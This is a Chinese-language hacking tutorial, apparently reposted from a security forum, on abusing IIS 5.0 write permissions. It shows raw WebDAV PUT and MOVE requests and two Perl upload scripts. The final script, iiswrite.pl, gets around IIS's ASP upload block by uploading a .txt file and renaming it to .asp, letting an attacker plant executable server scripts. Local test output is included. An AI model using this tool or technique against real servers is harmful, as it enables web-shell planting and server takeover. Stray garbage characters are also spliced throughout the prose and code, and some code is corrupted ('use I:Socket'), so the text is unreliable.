对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

8 Y1 y4 c. O+ V9 |

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

+ A# n$ G/ V: U4 w' ~+ G( m

PUT /dir/my_file.txt HTTP/1.1 Host: iis-server , k+ G' _8 D+ B; eContent-Length: 10

/ ?9 [' S# P5 D5 d6 a

　　这时服务器会返回一个100( 继续)的信息：

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:00 GMT

　　接着，我们输入10个字母：

AAAAAAAAAA

2 d4 e {" ^2 D, S2 r% [: X" t7 x

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:08 GMT 4 k& U5 M0 K6 ^Location: http://iis-server/dir/my_file.txt u, x) d5 R% l0 oContent-Length: 0 . f, T( I* f4 W( h" Y8 jAllow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

|' M$ H9 U- d

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

$ Q1 ]0 r* k. n3 z' K0 O: YPUT /dir/my_file.txt HTTP/1.1 }2 r, n8 v8 B' X# h# i+ R! a% y) MHost: iis-server w, e, t. ^% ]3 ?3 F3 KContent-Length: 10

; N5 q/ {4 x8 S/ B0 ]1 B1 S- K1 h& O

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 5 w+ P. \- m7 K( q( c　　Host：是HTTP请求的发送地址 　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

, W3 V% @- v, |6 N; I

: n8 a! y6 ]0 E, L9 `

#!/usr/bin/perl use I:Socket; $ARGC = @ARGV;

5 } V* V& \7 Z5 V+ N9 b

if ($ARGC != 4) { % G" ~: {! f/ _; x) H　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 　　exit; ! w( o1 {7 r8 q! T, a8 K+ Q} ! a" `8 t+ M9 }+ S$host = @ARGV[0]; 8 U" O. T+ |5 {) T% \' h) @$port = @ARGV[1]; $file = @ARGV[2]; + K$ }! {0 X g6 l6 i$path = @ARGV[3];

@s=stat("$file"); ) r8 |6 v( W7 b9 s' y+ C$size = $s[7]; #得到文件大小 print "$file size is $size bytes\n";

7 Y& q y2 t9 R3 l6 ~: g$ [

my $sock = I:Socket::INET->new(Proto =>"tcp", ) ]% o6 Q& V% u" b2 b2 a9 H* MPeerAddr =>$host, : D0 s+ G+ T: iPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path HTTP/1.1\n"; print $sock "Host: $host\n"; 2 D3 U* ?5 s4 Z8 Iprint $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传 7 p. Z# u6 u: }$ ~　　print $sock "$char"; } 1 N' x8 V: v$ ^+ P7 r5 U' Aprint $sock "\n\n"; @req = <$sock>; ) n& D: z$ |- f0 o3 i# }print "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 } 2 R; C! ]5 @' E# F2 Eelse{ ( Q$ ]: r" o6 i1 _% z　　print "upfile faile!!!\n\n"; . f x6 O6 u: ^+ U" s# L) l　　print @req;#如果失败显示返回错误 ; W3 u* O, m4 V* |1 j} close $sock; 1 `; ]. l* b' n0 Xclose FILE;

　　下面我们测试下：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt kaka.txt size is 14 bytes * v# Q9 x- ]" |9 h) G3 Gplease wait... ! F4 O0 ?; J+ T Jupfile Succeed!!!

C:\Inetpub\Scripts>dir kaka.txt 5 ?0 o4 H( r( S2 c驱动器 C 中的卷没有标签。 ' V' p8 ]1 Y' O6 g1 v卷的序列号是 3CD1-479E

; ], J1 \# @" T! j

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt 1 个文件 14 字节 0 个目录 3,871,080,448 可用字节

! `" p1 e) l6 ?* r: L5 `

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

0 [9 C/ Z1 ?6 E0 \9 C/ _ E& \: {

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe $ J0 X# r9 v" |! N; mperl.exe size is 20535 bytes 8 C" r* e* {5 P9 g6 G7 I6 A2 o5 v" N; Bplease wait... w$ ~, ^1 T- C: \* A3 K! ]& Nupfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe $ K$ p2 t+ e8 H2 q驱动器 C 中的卷没有标签。 9 r9 e& H+ a: K$ D/ Y# W卷的序列号是 3CD1-479E

% f% m7 h8 ?/ U, Y/ p, y

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe 7 B' @% E8 e4 s! v/ o1 个文件 20,535 字节 6 U/ m& ?+ y0 N1 ]$ x0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

1 X5 P" h* l; m6 r2 M& j

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp 1 K% ^6 J6 L$ {' F/ G3 p( u Bkaka.asp size is 4 bytes 3 H4 @2 O. k/ `3 O7 q9 \4 n& qplease wait... upfile faile!!!

4 i/ t1 I. o* B: e' u8 m( l- G

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 * z1 j9 [# ?/ RDate: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden 1 e3 b( F0 G5 S6 f TServer: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT Connection: close 3 z3 @, k- s b3 YContent-Type: text/html Content-Length: 44

+ z* |/ F. I, c8 t, Z+ E

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

' A# ^! @: Z. q4 @

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

) h- q& u% h5 y- P9 m8 b0 O$ U) v$ A

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

6 |; l% r# L' S% S

　　我们还是先用nc提交测试下：

D:\>nc 127.0.0.1 80 6 ]0 f: P2 v5 P V: y6 UMOVE /scripts/kaka.txt HTTP/1.1 ; v) l' T2 v5 s, I; j0 ]Host:127.0.0.1 Destination: http://127.0.0.1/scripts/kaka.asp

1 w; V7 h+ V- l9 N/ P

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 * _( n. D$ Y+ V e" pDate: Sun, 05 Oct 2003 09:30:59 GMT Location: http://127.0.0.1/scripts/x.asp Content-Type: text/xml * H) e7 F, ~) W; k7 A Q+ E/ }Content-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

' |6 _) b P* J

　　测试写asp成功：

1 j& Z; Z9 G+ b1 N

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ; p/ @) o3 c2 b************************************************************ 5 k6 p% z. H3 \2 k8 Q( Fcodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ( r$ D5 P3 s, P, J, s+ ~) H************************************************************ kaka.asp size is 4 bytes 5 D4 l7 \. R9 x, f x, Mplease wait... upfile Succeed!!! 9 f) Y3 k3 b0 x- n5 w! d8 {. SModifyfile Succeed!!!

! Q1 a6 ] _% n. u L1 J0 v% B

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

#!/usr/bin/perl #The iiswrite Script

3 I2 c) ~0 ~4 ?/ i( {

use I:Socket; " ~/ n; }" n0 k+ ] _* t* ]6 n$ARGC = @ARGV; print "*" x 60; print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; print "*" x 60,"\n"; 8 ]: E% r3 x! s- w- Z( T" Tif ($ARGC != 4) { & p0 { v# z7 u& s% h' n8 ~' ~　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; $path = @ARGV[3]; * c% [8 {, @2 ~8 n) N; @( W$file = @ARGV[2];

; c0 ^: V( Y" G* |/ r- v9 {* ?

@path=split("/",$path); $any = pop(@path); 9 X. U( o3 p: P+ D$path1=join("/",@path); @s=stat("$file"); 2 k; W- W% i. E; O- c5 D# S$size = $s[7];

4 d' X2 B: ]( p" U& ?% F

print "$file size is $size bytes\n"; 9 U/ u* R) x7 h0 W6 D" umy $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; & ?! V0 n) Q! B' @2 a; popen(FILE,"$file")|| die "Can't open $file"; ( a* o/ S; T6 xbinmode(FILE); while (read(FILE,$char,1024)) { 　　print $sock "$char"; ( k0 U) J d* Y& k# C! e} " @3 s D6 C9 K; o( e& Aprint $sock "\n\n"; + p7 x8 p$ k5 i* P8 A3 ~$ e@req = <$sock>; print "please wait...\n"; 9 S9 {1 h) _* Y+ R( L$ z3 g0 n6 ~sleep(2); : q8 V+ G" F8 R6 V1 Zif ($req[4]=~/200|201/){ 3 ~6 [5 F3 T% H　　print "upfile Succeed!!!\n" ; ) J$ {0 z- K- f0 z1 q Y, m! p} else{ 　　print "upfile faile!!!\n"; } * }9 w1 Q a) P7 } f" \close $sock; close FILE;

& D0 }. s; C6 R7 ]

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, x3 W3 S' X: DPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; 7 U4 B: D# `* vprint $sock "Host: $host\n"; 5 J5 k) q6 i- l6 Rprint $sock "Destination:http://$hostport$path\n\n\n\n"; $ x ]+ L+ i/ f& K@req = <$sock>; if ($req[0]=~/20\d+|/){ $ Y3 M6 q0 p3 {% o# v" n　　print "Modifyfile Succeed!!!" ; * q7 {) k0 Y; o* @2 a} else{ % A: u g0 [7 e9 X F0 i6 E　　print "upfile faile!!!"; } close $sock